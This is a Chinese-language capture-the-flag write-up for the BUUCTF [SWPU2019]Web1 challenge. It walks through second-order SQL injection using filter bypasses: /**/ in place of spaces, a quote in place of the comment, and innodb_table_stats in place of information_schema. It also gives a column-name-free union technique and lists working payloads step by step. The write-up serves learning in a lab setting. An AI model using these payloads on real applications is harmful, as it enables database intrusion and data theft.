buuctf [SWPU2019]Web1 1 sql 无列名注入 二次注入
注册登录发布广告
1'
测试
存在sql注入
经测试,or,空格,#被过滤
不能用order by测试列数,用group by代替
注释符#用,'3
代替,数字随便
(这里的'
相当于闭合了输入语句里参数的右引号,变成'3'
字符串,此时整个语句没有注释符)(如果参数不在sql语句末尾,那不是失败了?有无懂哥?)
空格用/**/代替
1'/**/group/**/by/**/22,'3
1'/**/group/**/by/**/23,'3
所以有22列
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
回显位2和3
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
information_schema.tables用mysql.innodb_table_stats代替
table_schema用database_name代替(为什么不能用前者呢?是因为数据库类型不同吗?有无懂哥?)
这时就要无列名注入了
因为没有mysql.innodb_column_stats这个方法,查不了列名
大概原理就是没有列名,那就给它取名,然后按别名正常继续注入
//-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
待我慢慢给你讲
首先有两个表ads,users。flag在users表第三列,其他可以自己注入看看。
格式
select group_concat(b) from (select 1,2 as b,3 union select * from users)a
a,b为别名,可以乱取。b别名为users表第二列别名。
select 1,2,3 很熟悉吧,就是上面我们用来判断回显的payload。有基础的都知道在数据库中这样会显示三列分别为1,2,3(为什么我不上图?别问,问就是懒。),而1,2,3就是三列列名
那select 1,2,3 union select * from users
就会以1,2,3为列名,查询users表中的内容了。就这么简单。为什么这样的语句结果就会这样?那就涉及数据库怎么底层了,懂得都懂,懂的不必说,不懂的很难说,反正我是不懂的,呵呵。
回到正题,在加上前面select group_concat(b)
就是查询users表第二列。
那为什么是1,2,3没有4,5,6或以上呢。因为users表就只有三列,多输入列数就报错了。
可以用下面payload取得列数
-1'/**/union/**/select/**/1,(select/**/group_concat(1)/**/from/**/users),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
有多少个1就有多少列。
最后就是ads表了,这个是查不出来的。
用上面的语句查出来有3列,当你爆查询表里面的内容时会报错,回头看之前的就变成了4个1,变成4列,再爆,再报错,再回头看,5列。。。真是不能满足我小小的好奇心,气死人了